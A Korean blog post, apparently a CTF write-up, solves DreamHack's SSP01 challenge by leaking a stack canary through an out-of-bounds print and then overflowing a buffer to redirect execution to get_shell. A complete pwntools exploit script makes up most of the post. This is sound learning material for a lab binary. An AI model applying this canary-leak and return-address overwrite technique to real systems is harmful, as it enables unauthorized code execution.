시스템 해킹/pwnable

[DreamHack] SSP01

Lhaaan 2023. 5. 13. 22:21

BOF가 터지는 부분에 대해서 조금씩 보다가 print_box 함수를 통해 canary값을 가져올 수 있을것이라 판단했다.

또한, box, name, select 버퍼가 있기 때문에 마지막 case 'E' 선택 후 name 버퍼를 채워주어서 ret를 변조해 get_shell()을 불러오면 될거라 생각했다.

gdb를 사용해 canary 위치를 확인해보니 [ebp-0x08] 인것을 확인할 수 있다. 그러면 box 시작부분부터 canary가 얼마나 떨어져 있는지 확인해서 idx를 통해 한바이트씩 출력시켜서 canary 값을 확인할 수 있다.

lea eax, [ebp-0x88]을 통해서 box의 시작부분이 ebp-0x88부터 인것을 알 수 있음

buf 시작주소: 0xffffcf80

canary 시작주소: 0xfffffd000

거리차이: 0x80 (10진수: 128)

dummy가 있는거 같은데, canary 밑에 4byte는 왜 생기는건지 의문이다.

from pwn import *

context.log_level = "debug"

p = process("./ssp_001")
elf = ELF("./ssp_001")
get_shell = elf.symbols["get_shell"]

cananry = b""

for i in range(131, 127, -1):
	p.sendafter("> ", "P")
	p.sendline(str(i))
	cananry += p.recvline()[-3:-1]


payload_ = b"A" * 0x40
p.sendafter("> ", "F")
p.sendafter("box input : ", payload_)


canary = p32(int(cananry, 16))
print("canary: ", canary)

p.sendafter("> ", "E")
p.sendlineafter("Name Size : ", "80")

payload = b"A" * 0x40
payload += canary
payload += b"A" * 0x4 //dummy buffer
payload += b"A" * 0x4 //sfp
payload += p32(get_shell)
p.sendafter("Name : ", payload)

p.interactive()

 

'시스템 해킹 > pwnable' 카테고리의 다른 글

[pwnable.kr] passcode  (0) 2024.05.09
[pwnable.kr] dragon  (0) 2023.07.07
[pwnable.kr] Collision  (0) 2023.05.21
[pwnable.kr] fd  (0) 2023.05.21
[DreamHack] oob1  (0) 2023.05.21